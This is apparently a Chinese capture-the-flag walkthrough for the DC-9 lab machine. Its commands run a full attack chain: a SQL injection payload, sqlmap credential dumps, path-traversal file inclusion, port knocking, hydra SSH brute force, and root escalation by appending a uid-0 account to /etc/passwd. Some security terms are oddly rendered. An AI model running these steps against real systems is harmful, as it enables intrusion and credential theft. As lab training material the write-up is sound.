DC-9 √
192.168.40.169
參考:https://blog.csdn.net/xiaocainiao2017/article/details/110749596
https://www.cnblogs.com/Bitores/p/14759425.html
1.nmap
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.169 -p 0-65535
照樣還是22/ssh服務,80/http服務
2.dirsearch掃目錄
dirsearch -u 192.168.40.169 -e * -x 403 --random-agent
3.wappalyzer
發現並沒有用CMS
4.SQL隱碼攻擊
到處點選,尋找輸入框:在Search
模組可找到
而且點選Submit後,發現頁面有跳轉的情況.抓包看情況:
萬能密碼驗證SQL隱碼攻擊:
1' or 1=1#
sqlmap這裡使用:
https://www.cnblogs.com/Bitores/p/14759425.html
# sqlmap之POST型傳參 : information_schema,Staff,users
# 根據上圖的HTTP請求報文,得出:
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' --dbs
# 爆表
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' --tables
# 列:firstname,id,lastname,password,reg_date,username
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' -T 'UserDetails' --columns
# Staff資料庫
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D Staff -T Users -C Username,Password --dump
# users資料庫
sqlmap -u http://192.168.40.169/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump
注意:
1.payload中的資料庫名、表名、欄位名都不要用引號包圍
2.注意區分大小寫
Staff庫
即admin/transorbital1
users庫
5.檔案包含
登入後發現:
可能是檔案包含漏洞,嘗試:發現存在檔案包含漏洞
其實應該像DC-5一樣需要爆破引數名,這裡就省去了,直接猜測引數名為file
嘗試包含Apache的日誌檔案:/var/log/apache2/access.log
6.knockd敲門與關門
再結合前面nmap掃描時22埠的狀態是filter,猜測可能是伺服器裝了knockd
關於
knockd
:
檢視knocked的配置檔案:knockd.conf
http://192.168.40.169/welcome.php?file=../../../../../etc/knockd.conf
解析:
即使用iptables命令來允許或禁止透過TCP埠22(即SSH埠)的連線
接下來就要開啟22埠:
這裡參考:https://blog.csdn.net/xiaocainiao2017/article/details/110749596
#!/bin/bash
nc 192.168.40.169 7469
nc 192.168.40.169 8475
nc 192.168.40.169 9842
nmap -A 192.168.40.169 -p 22
敲門並檢視22埠是否開啟:
7.hydra爆破SSH賬號密碼
埠開啟後就可以嘗試SSH連線:
結合第4步的結果:
marym julied fredf barneyr tomc jerrym wilmaf bettyr chandlerb joeyt rachelg rossg monicag phoebeb scoots janitor janitor2
3kfs86sfd 468sfdfsd2 sfd87sfd1 RocksOff TC&TheBoyz B8m#48sd Pebbles BamBam01 UrAG0D! Passw0rd yN72#dsd ILoveRachel 3248dsds7s smellycats YR3BVxxxw87 Ilovepeepee Hawaii-Five-0
另:chatGPT寫了一個轉化指令碼:https://wwwg.lanzouk.com/iaUz41485nwj
效果:
分別寫入到users.txt和passwd.txt之中,
# 使用hydra爆破:
hydra -L users.txt -P passwd.txt 192.168.40.169 ssh -o hydra.ssh
三組資料:
chandlerb / UrAG0D!
joeyt / Passw0rd
janitor / Ilovepeepee
這裡採用第一組資料
ssh chandlerb@192.168.40.169
但是沒找到有用資訊
嘗試第二組資料:依舊沒有有用資訊
嘗試第三組資料:
cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
在第4步爆出的賬號中匹配到了三個,分別是
BamBam01
Passw0rd
smellycats
結合這個與hydra爆出的資料,選擇joeyt
使用者進行提權
find / -perm -u=s -type f 2>/dev/null
一眼望去,沒有提權點
再看WP,得知要把passwords-found-on-post-it-notes.txt中的資料補充到passwd.txt中,然後再次hydra爆破:
爆出了一組新的賬號密碼
fredf / B4-Tru3-001
ssh fredf@192.168.40.169
sudo -l
NOPASSWD: /opt/devstuff/dist/test/test
cd /opt/devstuff/dist/test
發現了大量.so檔案:
.so是Linux下的動態連結,類似於Windows下的.dll檔案
檢視其他目錄:
在/opt/devstuff目錄下發現了test.py和test.spec檔案
.spec檔案:
可以是指由被叫的rpmbuild程式中使用的文字檔案。這個程式是用來建立RPM包。 RPM代表Red Hat軟體包管理。這些軟體包用於安裝Linux程式。該檔案包含包名稱,版權資訊,版本,引用程式檔案,總結,並說明建立和安裝軟體包。
#!/usr/bin/python
# 該檔案根據給定的命令列引數讀取一個檔案,並將其內容附加到另一個檔案的末尾
# 本檔案中的第一個引數sys.argv[0]代表程式本身,第二個引數sys.argv[1]代表第一個檔案,第三個引數sys.argv[2]代表另一個檔案
import sys
if len (sys.argv) != 3 : # 保證命令列引數的數量為3
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r") # 以只讀模式開啟第二個命令列引數指定的檔案
output = (f.read()) # 將內容讀取到變數output中
f = open(sys.argv[2], "a") # 以追加模式開啟第三個命令列引數指定的檔案
f.write(output) # 進行追加
f.close()
大體思路就是寫一個root許可權賬號出來,透過該指令碼,追加到/etc/passwd之中
怎麼寫賬號密碼?
Linux是怎麼生成密碼的?
透過openshell生成密碼,透過md5加密
perl -le 'print crypt("666","salt")' # 將字串"666"使用鹽"salt"進行加密
得到:sat087sUBmRKY
據此,構造出賬戶:
echo "star:sat087sUBmRKY:0:0:star:/root:/bin/bash" >>/tmp/passwd
passwd的格式:
[⽤戶名]:[密碼]:[UID]:[GID]:[⾝份描述]:[主⽬錄]:[登入shell]
sudo ./test /tmp/passwd /etc/passwd
8.小結
# DC-9
# nmap
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.169 -p 0-65535
# 目錄掃描-dirsearch
dirsearch -u 192.168.40.169 -e * -x 403 --random-agent
# wappalyzer
沒有明顯的CMS
# POST型SQL隱碼攻擊
查詢框+頁面跳轉->bp抓包
萬能密碼 1' or 1=1# 驗證出SQL隱碼攻擊
# 資料庫users
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' --dbs
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' --tables
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' -T 'UserDetails' --columns
sqlmap -u http://192.168.40.169/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump
# 另一個資料庫-Staff
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D Staff -T Users -C Username,Password --dump
# 注意點: 1.名稱不用引號包圍 2.注意大小寫
# 檔案包含
File does not exit ->猜測引數為file,透過/etc/passwd驗證出檔案包含漏洞
# knockd-filter狀態
/etc/knockd.conf
# 敲門
#!/bin/bash
nc 192.168.40.169 7469
nc 192.168.40.169 8475
nc 192.168.40.169 9842
# 檢視
nmap -A 192.168.40.169 -p 22
# hydra爆破:實現資料庫賬號密碼->SSH賬號密碼
hydra -L users.txt -P passwd.txt 192.168.40.169 ssh -o hydra.ssh
# 登入後查到隱藏的密碼,增添後再次爆破->獲得真正的能夠提權的使用者
sudo -l
# 結合可執行檔案(用於追加資料)+/etc/passwd提權
perl -le 'print crypt("666","salt")'
echo "star:sat087sUBmRKY:0:0:star:/root:/bin/bash" >>/tmp/passwd
sudo ./test /tmp/passwd /etc/passwd